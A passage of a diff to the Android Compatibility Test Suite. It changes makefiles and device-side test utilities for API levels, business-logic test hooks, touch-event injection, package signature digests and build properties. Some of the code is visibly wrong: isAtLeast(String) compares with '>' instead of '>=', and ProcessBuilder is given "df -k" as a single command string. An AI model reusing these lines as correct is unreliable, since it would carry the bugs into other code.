+ $(hide) echo "build_number = $(PRIVATE_SUITE_BUILD_NUMBER)" >> $@
+ $(hide) echo "target_arch = $(PRIVATE_SUITE_TARGET_ARCH)" >> $@
+ $(hide) echo "name = $(PRIVATE_SUITE_NAME)" >> $@
+ $(hide) echo "fullname = $(PRIVATE_SUITE_FULLNAME)" >> $@
+ $(hide) echo "version = $(PRIVATE_SUITE_VERSION)" >> $@
# Reset variables
LOCAL_SUITE_BUILD_NUMBER :=
@@ -42,8 +38,8 @@
LOCAL_SUITE_FULLNAME :=
LOCAL_SUITE_VERSION :=
-# Include the SuiteInfo.java
-LOCAL_GENERATED_SOURCES := $(suite_info_java)
+# Include the test suite properties file
+LOCAL_JAVA_RESOURCE_FILES += $(suite_info_prop)
# Add the base libraries
LOCAL_JAVA_LIBRARIES += tradefed hosttestlib compatibility-host-util
@@ -51,3 +47,5 @@
LOCAL_MODULE_TAGS := optional
include $(BUILD_HOST_JAVA_LIBRARY)
+
+suite_info_prop :=
diff --git a/build/device_info_package.mk b/build/device_info_package.mk
index 0d0ff45..5c290b0 100644
--- a/build/device_info_package.mk
+++ b/build/device_info_package.mk
@@ -50,7 +50,7 @@
# Generator of APK manifests.
MANIFEST_GENERATOR_JAR := $(HOST_OUT_JAVA_LIBRARIES)/compatibility-manifest-generator.jar
-MANIFEST_GENERATOR := java -jar $(MANIFEST_GENERATOR_JAR)
+MANIFEST_GENERATOR := $(JAVA) -jar $(MANIFEST_GENERATOR_JAR)
# Generate the manifest
manifest_xml := $(call intermediates-dir-for,APPS,$(LOCAL_PACKAGE_NAME))/AndroidManifest.xml
diff --git a/build/support_package.mk b/build/support_package.mk
index e25ba8a..83d7da9 100644
--- a/build/support_package.mk
+++ b/build/support_package.mk
@@ -22,5 +22,6 @@
LOCAL_DEX_PREOPT := false
LOCAL_PROGUARD_ENABLED := disabled
+-include cts/error_prone_rules_tests.mk
include $(BUILD_PACKAGE)
diff --git a/build/test_package.mk b/build/test_package.mk
index 3cec0af..2aa0852 100644
--- a/build/test_package.mk
+++ b/build/test_package.mk
@@ -20,5 +20,6 @@
LOCAL_STATIC_JAVA_LIBRARIES += platform-test-annotations
+-include cts/error_prone_rules_tests.mk
include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/build/test_target_java_library.mk b/build/test_target_java_library.mk
index eb11ef7..c932c30 100644
--- a/build/test_target_java_library.mk
+++ b/build/test_target_java_library.mk
@@ -20,5 +20,6 @@
LOCAL_DEX_PREOPT := false
LOCAL_STATIC_JAVA_LIBRARIES += platform-test-annotations
+-include cts/error_prone_rules_tests.mk
include $(BUILD_JAVA_LIBRARY)
diff --git a/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/StorageDeviceInfo.java b/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/StorageDeviceInfo.java
index dafff35..767f1d9 100644
--- a/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/StorageDeviceInfo.java
+++ b/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/StorageDeviceInfo.java
@@ -62,7 +62,7 @@
private List<String> scanPartitions() {
List<String> partitionList = new ArrayList<>();
try {
- Process df = new ProcessBuilder("df").start();
+ Process df = new ProcessBuilder("df -k").start();
Scanner scanner = new Scanner(df.getInputStream());
try {
while (scanner.hasNextLine()) {
diff --git a/common/device-side/util/jni/Android.mk b/common/device-side/util/jni/Android.mk
index 7b73707..8627d24 100644
--- a/common/device-side/util/jni/Android.mk
+++ b/common/device-side/util/jni/Android.mk
@@ -32,4 +32,6 @@
LOCAL_STATIC_LIBRARIES := cpufeatures
LOCAL_SDK_VERSION := 19
+LOCAL_CFLAGS := -Wno-unused-parameter
+
include $(BUILD_SHARED_LIBRARY)
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/ApiLevelUtil.java b/common/device-side/util/src/com/android/compatibility/common/util/ApiLevelUtil.java
index 1df7198..c3394b7 100644
--- a/common/device-side/util/src/com/android/compatibility/common/util/ApiLevelUtil.java
+++ b/common/device-side/util/src/com/android/compatibility/common/util/ApiLevelUtil.java
@@ -18,6 +18,8 @@
import android.os.Build;
+import java.lang.reflect.Field;
+
/**
* Device-side compatibility utility class for reading device API level.
*/
@@ -27,18 +29,34 @@
return Build.VERSION.SDK_INT < version;
}
+ public static boolean isBefore(String version) {
+ return Build.VERSION.SDK_INT < resolveVersionString(version);
+ }
+
public static boolean isAfter(int version) {
return Build.VERSION.SDK_INT > version;
}
+ public static boolean isAfter(String version) {
+ return Build.VERSION.SDK_INT > resolveVersionString(version);
+ }
+
public static boolean isAtLeast(int version) {
return Build.VERSION.SDK_INT >= version;
}
+ public static boolean isAtLeast(String version) {
+ return Build.VERSION.SDK_INT > resolveVersionString(version);
+ }
+
public static boolean isAtMost(int version) {
return Build.VERSION.SDK_INT <= version;
}
+ public static boolean isAtMost(String version) {
+ return Build.VERSION.SDK_INT <= resolveVersionString(version);
+ }
+
public static int getApiLevel() {
return Build.VERSION.SDK_INT;
}
@@ -54,4 +72,19 @@
public static String getCodename() {
return Build.VERSION.CODENAME;
}
+
+ protected static int resolveVersionString(String versionString) {
+ try {
+ return Integer.parseInt(versionString); // e.g. "24" for M
+ } catch (NumberFormatException e1) {
+ try {
+ Field versionField = Build.VERSION_CODES.class.getField(
+ versionString.toUpperCase());
+ return versionField.getInt(null); // no instance for VERSION_CODES, use null
+ } catch (IllegalAccessException | NoSuchFieldException e2) {
+ throw new RuntimeException(
+ String.format("Failed to parse version string %s", versionString), e2);
+ }
+ }
+ }
}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/BusinessLogicDeviceExecutor.java b/common/device-side/util/src/com/android/compatibility/common/util/BusinessLogicDeviceExecutor.java
new file mode 100644
index 0000000..ec940ce
--- /dev/null
+++ b/common/device-side/util/src/com/android/compatibility/common/util/BusinessLogicDeviceExecutor.java
@@ -0,0 +1,91 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+import android.content.Context;
+
+import java.lang.reflect.Method;
+import java.util.Arrays;
+import java.util.List;
+
+/**
+ * Execute business logic methods for device side test cases
+ */
+public class BusinessLogicDeviceExecutor extends BusinessLogicExecutor {
+
+ private Context mContext;
+ private Object mTestObj;
+
+ public BusinessLogicDeviceExecutor(Context context, Object testObj) {
+ mContext = context;
+ mTestObj = testObj;
+ }
+
+ /**
+ * {@inheritDoc}
+ */
+ @Override
+ protected Object getTestObject() {
+ return mTestObj;
+ }
+
+ /**
+ * {@inheritDoc}
+ */
+ @Override
+ protected ResolvedMethod getResolvedMethod(Class cls, String methodName, String... args)
+ throws ClassNotFoundException {
+ List<Method> nameMatches = getMethodsWithName(cls, methodName);
+ for (Method m : nameMatches) {
+ ResolvedMethod rm = new ResolvedMethod(m);
+ int paramTypesMatched = 0;
+ int argsUsed = 0;
+ Class[] paramTypes = m.getParameterTypes();
+ for (Class paramType : paramTypes) {
+ if (argsUsed == args.length && paramType.equals(String.class)) {
+ // We've used up all supplied string args, so this method will not match.
+ // If paramType is the Context class, we can match a paramType without needing
+ // more string args. similarly, paramType "String[]" can be matched with zero
+ // string args. If we add support for more paramTypes, this logic may require
+ // adjustment.
+ break;
+ }
+ if (paramType.equals(String.class)) {
+ // Type "String" -- supply the next available arg
+ rm.addArg(args[argsUsed++]);
+ } else if (Context.class.isAssignableFrom(paramType)) {
+ // Type "Context" -- supply the context from the test case
+ rm.addArg(mContext);
+ } else if (paramType.equals(Class.forName(STRING_ARRAY_CLASS))) {
+ // Type "String[]" (or "String...") -- supply all remaining args
+ rm.addArg(Arrays.copyOfRange(args, argsUsed, args.length));
+ argsUsed += (args.length - argsUsed);
+ } else {
+ break; // Param type is unrecognized, this method will not match.
+ }
+ paramTypesMatched++; // A param type has been matched when reaching this point.
+ }
+ if (paramTypesMatched == paramTypes.length && argsUsed == args.length) {
+ return rm; // Args match, methods match, so return the first method-args pairing.
+ }
+ // Not a match, try args for next method that matches by name.
+ }
+ throw new RuntimeException(String.format(
+ "BusinessLogic: Failed to invoke action method %s with args: %s", methodName,
+ Arrays.toString(args)));
+ }
+}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/BusinessLogicTestCase.java b/common/device-side/util/src/com/android/compatibility/common/util/BusinessLogicTestCase.java
new file mode 100644
index 0000000..2316637
--- /dev/null
+++ b/common/device-side/util/src/com/android/compatibility/common/util/BusinessLogicTestCase.java
@@ -0,0 +1,113 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.util;
+
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeTrue;
+
+import org.junit.Before;
+import org.junit.BeforeClass;
+import org.junit.Rule;
+import org.junit.rules.TestName;
+
+import android.app.Instrumentation;
+import android.content.Context;
+import android.support.test.InstrumentationRegistry;
+import android.util.Log;
+
+import java.lang.reflect.Field;
+import java.io.File;
+import java.util.List;
+import java.util.Map;
+
+/**
+ * Device-side base class for tests leveraging the Business Logic service.
+ */
+public class BusinessLogicTestCase {
+
+ /* String marking the beginning of the parameter in a test name */
+ private static final String PARAM_START = "[";
+
+ /* Test name rule that tracks the current test method under execution */
+ @Rule public TestName mTestCase = new TestName();
+
+ private static BusinessLogic mBusinessLogic;
+ private static boolean mCanReadBusinessLogic = true;
+
+ @BeforeClass
+ public static void prepareBusinessLogic() {
+ File businessLogicFile = new File(BusinessLogic.DEVICE_FILE);
+ if (businessLogicFile.canRead()) {
+ mBusinessLogic = BusinessLogicFactory.createFromFile(businessLogicFile);
+ } else {
+ mCanReadBusinessLogic = false;
+ }
+ }
+
+ @Before
+ public void executeBusinessLogic() {
+ String methodName = mTestCase.getMethodName();
+ assertTrue(String.format("Test \"%s\" is unable to execute as it depends on the missing "
+ + "remote configuration.", methodName), mCanReadBusinessLogic);
+ if (methodName.contains(PARAM_START)) {
+ // Strip parameter suffix (e.g. "[0]") from method name
+ methodName = methodName.substring(0, methodName.lastIndexOf(PARAM_START));
+ }
+ String testName = String.format("%s#%s", this.getClass().getName(), methodName);
+ if (mBusinessLogic.hasLogicFor(testName)) {
+ Log.i("Finding business logic for test case: ", testName);
+ BusinessLogicExecutor executor = new BusinessLogicDeviceExecutor(getContext(), this);
+ mBusinessLogic.applyLogicFor(testName, executor);
+ }
+ }
+
+ protected static Instrumentation getInstrumentation() {
+ return InstrumentationRegistry.getInstrumentation();
+ }
+
+ protected static Context getContext() {
+ return getInstrumentation().getTargetContext();
+ }
+
+ public static void skipTest(String message) {
+ assumeTrue(message, false);
+ }
+
+ public static void failTest(String message) {
+ fail(message);
+ }
+
+ public void mapPut(String mapName, String key, String value) {
+ boolean put = false;
+ for (Field f : getClass().getDeclaredFields()) {
+ if (f.getName().equalsIgnoreCase(mapName) && Map.class.isAssignableFrom(f.getType())) {
+ try {
+ ((Map) f.get(this)).put(key, value);
+ put = true;
+ } catch (IllegalAccessException e) {
+ Log.w(String.format("failed to invoke mapPut on field \"%s\". Resuming...",
+ f.getName()), e);
+ // continue iterating through fields, throw exception if no other fields match
+ }
+ }
+ }
+ if (!put) {
+ throw new RuntimeException(String.format("Failed to find map %s in class %s", mapName,
+ getClass().getName()));
+ }
+ }
+}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/CtsTouchUtils.java b/common/device-side/util/src/com/android/compatibility/common/util/CtsTouchUtils.java
index 0662e81..16796a8 100644
--- a/common/device-side/util/src/com/android/compatibility/common/util/CtsTouchUtils.java
+++ b/common/device-side/util/src/com/android/compatibility/common/util/CtsTouchUtils.java
@@ -31,6 +31,31 @@
* Test utilities for touch emulation.
*/
public final class CtsTouchUtils {
+ /**
+ * Interface definition for a callback to be invoked when an event has been injected.
+ */
+ public interface EventInjectionListener {
+ /**
+ * Callback method to be invoked when a {MotionEvent#ACTION_DOWN} has been injected.
+ * @param xOnScreen X coordinate of the injected event.
+ * @param yOnScreen Y coordinate of the injected event.
+ */
+ public void onDownInjected(int xOnScreen, int yOnScreen);
+
+ /**
+ * Callback method to be invoked when a {MotionEvent#ACTION_MOVE} has been injected.
+ * @param xOnScreen X coordinates of the injected event.
+ * @param yOnScreen Y coordinates of the injected event.
+ */
+ public void onMoveInjected(int[] xOnScreen, int[] yOnScreen);
+
+ /**
+ * Callback method to be invoked when a {MotionEvent#ACTION_UP} has been injected.
+ * @param xOnScreen X coordinate of the injected event.
+ * @param yOnScreen Y coordinate of the injected event.
+ */
+ public void onUpInjected(int xOnScreen, int yOnScreen);
+ }
private CtsTouchUtils() {}
@@ -64,9 +89,9 @@
final UiAutomation uiAutomation = instrumentation.getUiAutomation();
final long downTime = SystemClock.uptimeMillis();
- injectDownEvent(uiAutomation, downTime, xOnScreen, yOnScreen);
+ injectDownEvent(uiAutomation, downTime, xOnScreen, yOnScreen, null);
injectMoveEventForTap(uiAutomation, downTime, touchSlop, xOnScreen, yOnScreen);
- injectUpEvent(uiAutomation, downTime, false, xOnScreen, yOnScreen);
+ injectUpEvent(uiAutomation, downTime, false, xOnScreen, yOnScreen, null);
// Wait for the system to process all events in the queue
instrumentation.waitForIdleSync();
@@ -102,12 +127,12 @@
final UiAutomation uiAutomation = instrumentation.getUiAutomation();
final long downTime = SystemClock.uptimeMillis();
- injectDownEvent(uiAutomation, downTime, xOnScreen, yOnScreen);
+ injectDownEvent(uiAutomation, downTime, xOnScreen, yOnScreen, null);
injectMoveEventForTap(uiAutomation, downTime, touchSlop, xOnScreen, yOnScreen);
- injectUpEvent(uiAutomation, downTime, false, xOnScreen, yOnScreen);
- injectDownEvent(uiAutomation, downTime, xOnScreen, yOnScreen);
+ injectUpEvent(uiAutomation, downTime, false, xOnScreen, yOnScreen, null);
+ injectDownEvent(uiAutomation, downTime, xOnScreen, yOnScreen, null);
injectMoveEventForTap(uiAutomation, downTime, touchSlop, xOnScreen, yOnScreen);
- injectUpEvent(uiAutomation, downTime, false, xOnScreen, yOnScreen);
+ injectUpEvent(uiAutomation, downTime, false, xOnScreen, yOnScreen, null);
// Wait for the system to process all events in the queue
instrumentation.waitForIdleSync();
@@ -125,26 +150,35 @@
public static void emulateDragGesture(Instrumentation instrumentation,
int dragStartX, int dragStartY, int dragAmountX, int dragAmountY) {
emulateDragGesture(instrumentation, dragStartX, dragStartY, dragAmountX, dragAmountY,
- 2000, 20);
+ 2000, 20, null);
}
private static void emulateDragGesture(Instrumentation instrumentation,
int dragStartX, int dragStartY, int dragAmountX, int dragAmountY,
int dragDurationMs, int moveEventCount) {
+ emulateDragGesture(instrumentation, dragStartX, dragStartY, dragAmountX, dragAmountY,
+ dragDurationMs, moveEventCount, null);
+ }
+
+ private static void emulateDragGesture(Instrumentation instrumentation,
+ int dragStartX, int dragStartY, int dragAmountX, int dragAmountY,
+ int dragDurationMs, int moveEventCount,
+ EventInjectionListener eventInjectionListener) {
// We are using the UiAutomation object to inject events so that drag works
// across view / window boundaries (such as for the emulated drag and drop
// sequences)
final UiAutomation uiAutomation = instrumentation.getUiAutomation();
final long downTime = SystemClock.uptimeMillis();
- injectDownEvent(uiAutomation, downTime, dragStartX, dragStartY);
+ injectDownEvent(uiAutomation, downTime, dragStartX, dragStartY, eventInjectionListener);
// Inject a sequence of MOVE events that emulate the "move" part of the gesture
injectMoveEventsForDrag(uiAutomation, downTime, true, dragStartX, dragStartY,
- dragStartX + dragAmountX, dragStartY + dragAmountY, moveEventCount, dragDurationMs);
+ dragStartX + dragAmountX, dragStartY + dragAmountY, moveEventCount, dragDurationMs,
+ eventInjectionListener);
injectUpEvent(uiAutomation, downTime, true, dragStartX + dragAmountX,
- dragStartY + dragAmountY);
+ dragStartY + dragAmountY, eventInjectionListener);
// Wait for the system to process all events in the queue
instrumentation.waitForIdleSync();
@@ -175,7 +209,7 @@
final UiAutomation uiAutomation = instrumentation.getUiAutomation();
final long downTime = SystemClock.uptimeMillis();
- injectDownEvent(uiAutomation, downTime, coordinates.get(0).x, coordinates.get(0).y);
+ injectDownEvent(uiAutomation, downTime, coordinates.get(0).x, coordinates.get(0).y, null);
// Move to each coordinate.
for (int i = 0; i < coordinatesSize - 1; i++) {
@@ -188,25 +222,30 @@
coordinates.get(i + 1).x,
coordinates.get(i + 1).y,
moveEventCount,
- dragDurationMs);
+ dragDurationMs,
+ null);
}
injectUpEvent(uiAutomation,
downTime,
true,
coordinates.get(coordinatesSize - 1).x,
- coordinates.get(coordinatesSize - 1).y);
+ coordinates.get(coordinatesSize - 1).y,
+ null);
// Wait for the system to process all events in the queue
instrumentation.waitForIdleSync();
}
private static long injectDownEvent(UiAutomation uiAutomation, long downTime, int xOnScreen,
- int yOnScreen) {
+ int yOnScreen, EventInjectionListener eventInjectionListener) {
MotionEvent eventDown = MotionEvent.obtain(
downTime, downTime, MotionEvent.ACTION_DOWN, xOnScreen, yOnScreen, 1);
eventDown.setSource(InputDevice.SOURCE_TOUCHSCREEN);
uiAutomation.injectInputEvent(eventDown, true);
+ if (eventInjectionListener != null) {
+ eventInjectionListener.onDownInjected(xOnScreen, yOnScreen);
+ }
eventDown.recycle();
return downTime;
}
@@ -222,7 +261,7 @@
private static void injectMoveEventsForDrag(UiAutomation uiAutomation, long downTime,
boolean useCurrentEventTime, int dragStartX, int dragStartY, int dragEndX, int dragEndY,
- int moveEventCount, int dragDurationMs) {
+ int moveEventCount, int dragDurationMs, EventInjectionListener eventInjectionListener) {
final int dragAmountX = dragEndX - dragStartX;
final int dragAmountY = dragEndY - dragStartY;
final int sleepTime = dragDurationMs / moveEventCount;
@@ -242,10 +281,18 @@
// to be spaced at 10 millisecond intervals, interpolating the coordinates from the
// last generated MOVE event to our current one.
int historyEventCount = (int) ((eventTime - prevEventTime) / 10);
+ int[] xCoordsForListener = (eventInjectionListener == null) ? null :
+ new int[Math.max(1, historyEventCount)];
+ int[] yCoordsForListener = (eventInjectionListener == null) ? null :
+ new int[Math.max(1, historyEventCount)];
MotionEvent eventMove = null;
if (historyEventCount == 0) {
eventMove = MotionEvent.obtain(
downTime, eventTime, MotionEvent.ACTION_MOVE, moveX, moveY, 1);
+ if (eventInjectionListener != null) {
+ xCoordsForListener[0] = moveX;
+ yCoordsForListener[0] = moveY;
+ }
} else {
final int prevMoveX = dragStartX + dragAmountX * i / moveEventCount;
final int prevMoveY = dragStartY + dragAmountY * i / moveEventCount;
@@ -266,11 +313,18 @@
// and then add to it
eventMove.addBatch(stepEventTime, stepMoveX, stepMoveY, 1.0f, 1.0f, 1);
}
+ if (eventInjectionListener != null) {
+ xCoordsForListener[historyIndex] = stepMoveX;
+ yCoordsForListener[historyIndex] = stepMoveY;
+ }
}
}
eventMove.setSource(InputDevice.SOURCE_TOUCHSCREEN);
uiAutomation.injectInputEvent(eventMove, true);
+ if (eventInjectionListener != null) {
+ eventInjectionListener.onMoveInjected(xCoordsForListener, yCoordsForListener);
+ }
eventMove.recycle();
prevEventTime = eventTime;
@@ -280,12 +334,16 @@
}
private static void injectUpEvent(UiAutomation uiAutomation, long downTime,
- boolean useCurrentEventTime, int xOnScreen, int yOnScreen) {
+ boolean useCurrentEventTime, int xOnScreen, int yOnScreen,
+ EventInjectionListener eventInjectionListener) {
long eventTime = useCurrentEventTime ? SystemClock.uptimeMillis() : downTime;
MotionEvent eventUp = MotionEvent.obtain(
downTime, eventTime, MotionEvent.ACTION_UP, xOnScreen, yOnScreen, 1);
eventUp.setSource(InputDevice.SOURCE_TOUCHSCREEN);
uiAutomation.injectInputEvent(eventUp, true);
+ if (eventInjectionListener != null) {
+ eventInjectionListener.onUpInjected(xOnScreen, yOnScreen);
+ }
eventUp.recycle();
}
@@ -300,6 +358,22 @@
*/
public static int emulateFlingGesture(Instrumentation instrumentation,
View view, boolean isDownwardsFlingGesture) {
+ return emulateFlingGesture(instrumentation, view, isDownwardsFlingGesture, null);
+ }
+
+ /**
+ * Emulates a fling gesture across the horizontal center of the passed view.
+ *
+ * @param instrumentation the instrumentation used to run the test
+ * @param view the view to fling
+ * @param isDownwardsFlingGesture if <code>true</code>, the emulated fling will
+ * be a downwards gesture
+ * @param eventInjectionListener optional listener to notify about the injected events
+ * @return The vertical amount of emulated fling in pixels
+ */
+ public static int emulateFlingGesture(Instrumentation instrumentation,
+ View view, boolean isDownwardsFlingGesture,
+ EventInjectionListener eventInjectionListener) {
final ViewConfiguration configuration = ViewConfiguration.get(view.getContext());
final int flingVelocity = (configuration.getScaledMinimumFlingVelocity() +
configuration.getScaledMaximumFlingVelocity()) / 2;
@@ -320,7 +394,8 @@
final int durationMs = (1000 * viewHeight) / (2 * flingVelocity);
// And do the same event injection sequence as our generic drag gesture
- emulateDragGesture(instrumentation, x, startY, 0, amountY, durationMs, durationMs / 16);
+ emulateDragGesture(instrumentation, x, startY, 0, amountY, durationMs, durationMs / 16,
+ eventInjectionListener);
return amountY;
}
@@ -480,11 +555,11 @@
final UiAutomation uiAutomation = instrumentation.getUiAutomation();
final long downTime = SystemClock.uptimeMillis();
- injectDownEvent(uiAutomation, downTime, xOnScreen, yOnScreen);
+ injectDownEvent(uiAutomation, downTime, xOnScreen, yOnScreen, null);
injectMoveEventForTap(uiAutomation, downTime, touchSlop, xOnScreen, yOnScreen);
SystemClock.sleep((long) (ViewConfiguration.getLongPressTimeout() * 1.5f) + extraWaitMs);
if (upGesture) {
- injectUpEvent(uiAutomation, downTime, false, xOnScreen, yOnScreen);
+ injectUpEvent(uiAutomation, downTime, false, xOnScreen, yOnScreen, null);
}
// Wait for the system to process all events in the queue
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/DeviceInfoStore.java b/common/device-side/util/src/com/android/compatibility/common/util/DeviceInfoStore.java
index 735b955..966ac1a 100644
--- a/common/device-side/util/src/com/android/compatibility/common/util/DeviceInfoStore.java
+++ b/common/device-side/util/src/com/android/compatibility/common/util/DeviceInfoStore.java
@@ -56,6 +56,7 @@
@Override
public void close() throws IOException {
mJsonWriter.endObject();
+ mJsonWriter.flush();
mJsonWriter.close();
}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/FeatureUtil.java b/common/device-side/util/src/com/android/compatibility/common/util/FeatureUtil.java
index 836d745..ebf881a 100644
--- a/common/device-side/util/src/com/android/compatibility/common/util/FeatureUtil.java
+++ b/common/device-side/util/src/com/android/compatibility/common/util/FeatureUtil.java
@@ -82,6 +82,15 @@
return hasSystemFeature(WATCH_FEATURE);
}
+ /** Returns true if the device is a low ram device:
+ * 1. API level >= O
+ * 2. device has feature LOW_RAM_FEATURE
+ */
+ public static boolean isLowRam() {
+ return ApiLevelUtil.isAtLeast(Build.VERSION_CODES.O) &&
+ hasSystemFeature(LOW_RAM_FEATURE);
+ }
+
private static PackageManager getPackageManager() {
return InstrumentationRegistry.getInstrumentation().getTargetContext().getPackageManager();
}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/PackageUtil.java b/common/device-side/util/src/com/android/compatibility/common/util/PackageUtil.java
new file mode 100644
index 0000000..260e569
--- /dev/null
+++ b/common/device-side/util/src/com/android/compatibility/common/util/PackageUtil.java
@@ -0,0 +1,103 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+import android.content.pm.ApplicationInfo;
+import android.content.pm.PackageInfo;
+import android.content.pm.PackageManager;
+import android.os.Build;
+import android.support.test.InstrumentationRegistry;
+import android.util.Log;
+
+import java.security.MessageDigest;
+import java.security.NoSuchAlgorithmException;
+
+/**
+ * Device-side utility class for PackageManager-related operations
+ */
+public class PackageUtil {
+
+ private static final int SYSTEM_APP_MASK =
+ ApplicationInfo.FLAG_SYSTEM | ApplicationInfo.FLAG_UPDATED_SYSTEM_APP;
+ private static final char[] HEX_ARRAY = "0123456789ABCDEF".toCharArray();
+
+ /** Returns true if a package with the given name exists on the device */
+ public static boolean exists(String packageName) {
+ try {
+ return (getPackageManager().getApplicationInfo(packageName,
+ PackageManager.GET_META_DATA) != null);
+ } catch(PackageManager.NameNotFoundException e) {
+ return false;
+ }
+ }
+
+ /** Returns true if a package with the given name AND SHA digest exists on the device */
+ public static boolean exists(String packageName, String sha) {
+ try {
+ if (getPackageManager().getApplicationInfo(
+ packageName, PackageManager.GET_META_DATA) == null) {
+ return false;
+ }
+ return sha.equals(computePackageSignatureDigest(packageName));
+ } catch (NoSuchAlgorithmException | PackageManager.NameNotFoundException e) {
+ return false;
+ }
+ }
+
+ /** Returns true if the app for the given package name is a system app for this device */
+ public static boolean isSystemApp(String packageName) {
+ try {
+ ApplicationInfo ai = getPackageManager().getApplicationInfo(packageName,
+ PackageManager.GET_META_DATA);
+ return ai != null && ((ai.flags & SYSTEM_APP_MASK) != 0);
+ } catch(PackageManager.NameNotFoundException e) {
+ return false;
+ }
+ }
+
+ /**
+ * Compute the signature SHA digest for a package.
+ * @param package the name of the package for which the signature SHA digest is requested
+ * @return the signature SHA digest
+ */
+ public static String computePackageSignatureDigest(String packageName)
+ throws NoSuchAlgorithmException, PackageManager.NameNotFoundException {
+ PackageInfo packageInfo = getPackageManager()
+ .getPackageInfo(packageName, PackageManager.GET_SIGNATURES);
+ MessageDigest messageDigest = MessageDigest.getInstance("SHA256");
+ messageDigest.update(packageInfo.signatures[0].toByteArray());
+
+ final byte[] digest = messageDigest.digest();
+ final int digestLength = digest.length;
+ final int charCount = 3 * digestLength - 1;
+
+ final char[] chars = new char[charCount];
+ for (int i = 0; i < digestLength; i++) {
+ final int byteHex = digest[i] & 0xFF;
+ chars[i * 3] = HEX_ARRAY[byteHex >>> 4];
+ chars[i * 3 + 1] = HEX_ARRAY[byteHex & 0x0F];
+ if (i < digestLength - 1) {
+ chars[i * 3 + 2] = ':';
+ }
+ }
+ return new String(chars);
+ }
+
+ private static PackageManager getPackageManager() {
+ return InstrumentationRegistry.getInstrumentation().getTargetContext().getPackageManager();
+ }
+}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/PropertyUtil.java b/common/device-side/util/src/com/android/compatibility/common/util/PropertyUtil.java
index ededfee..0424f69 100644
--- a/common/device-side/util/src/com/android/compatibility/common/util/PropertyUtil.java
+++ b/common/device-side/util/src/com/android/compatibility/common/util/PropertyUtil.java
@@ -16,10 +16,17 @@
package com.android.compatibility.common.util;
+import com.android.compatibility.common.util.SystemUtil;
+
import android.os.Build;
+import android.support.test.InstrumentationRegistry;
import java.io.IOException;
+import java.util.HashMap;
+import java.util.Map;
import java.util.Scanner;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
/**
* Device-side utility class for reading properties and gathering information for testing
@@ -31,17 +38,38 @@
* Name of read-only property detailing the first API level for which the product was
* shipped. Property should be undefined for factory ROM products.
*/
- public static String FIRST_API_LEVEL = "ro.product.first_api_level";
+ public static final String FIRST_API_LEVEL = "ro.product.first_api_level";
+ private static final String BUILD_TYPE_PROPERTY = "ro.build.type";
+ private static final String MANUFACTURER_PROPERTY = "ro.product.manufacturer";
+ private static final String TAG_DEV_KEYS = "dev-keys";
+
+ public static final String GOOGLE_SETTINGS_QUERY =
+ "content query --uri content://com.google.settings/partner";
/** Value to be returned by getPropertyInt() if property is not found */
public static int INT_VALUE_IF_UNSET = -1;
+ /** Returns whether the device build is a user build */
+ public static boolean isUserBuild() {
+ return propertyEquals(BUILD_TYPE_PROPERTY, "user");
+ }
+
/** Returns whether the device build is the factory ROM */
public static boolean isFactoryROM() {
// property should be undefined if and only if the product is factory ROM.
return getPropertyInt(FIRST_API_LEVEL) == INT_VALUE_IF_UNSET;
}
+ /** Returns whether this build is built with dev-keys */
+ public static boolean isDevKeysBuild() {
+ for (String tag : Build.TAGS.split(",")) {
+ if (TAG_DEV_KEYS.equals(tag.trim())) {
+ return true;
+ }
+ }
+ return false;
+ }
+
/**
* Return the first API level for this product. If the read-only property is unset,
* this means the first API level is the current API level, and the current API level
@@ -53,22 +81,74 @@
}
/**
+ * Return the manufacturer of this product. If unset, return null.
+ */
+ public static String getManufacturer() {
+ return getProperty(MANUFACTURER_PROPERTY);
+ }
+
+ /** Returns a mapping from client ID names to client ID values */
+ public static Map<String, String> getClientIds() throws IOException {
+ Map<String,String> clientIds = new HashMap<>();
+ String queryOutput = SystemUtil.runShellCommand(
+ InstrumentationRegistry.getInstrumentation(), GOOGLE_SETTINGS_QUERY);
+ for (String line : queryOutput.split("[\\r?\\n]+")) {
+ // Expected line format: "Row: 1 _id=123, name=<property_name>, value=<property_value>"
+ Pattern pattern = Pattern.compile("name=([a-z_]*), value=(.*)$");
+ Matcher matcher = pattern.matcher(line);
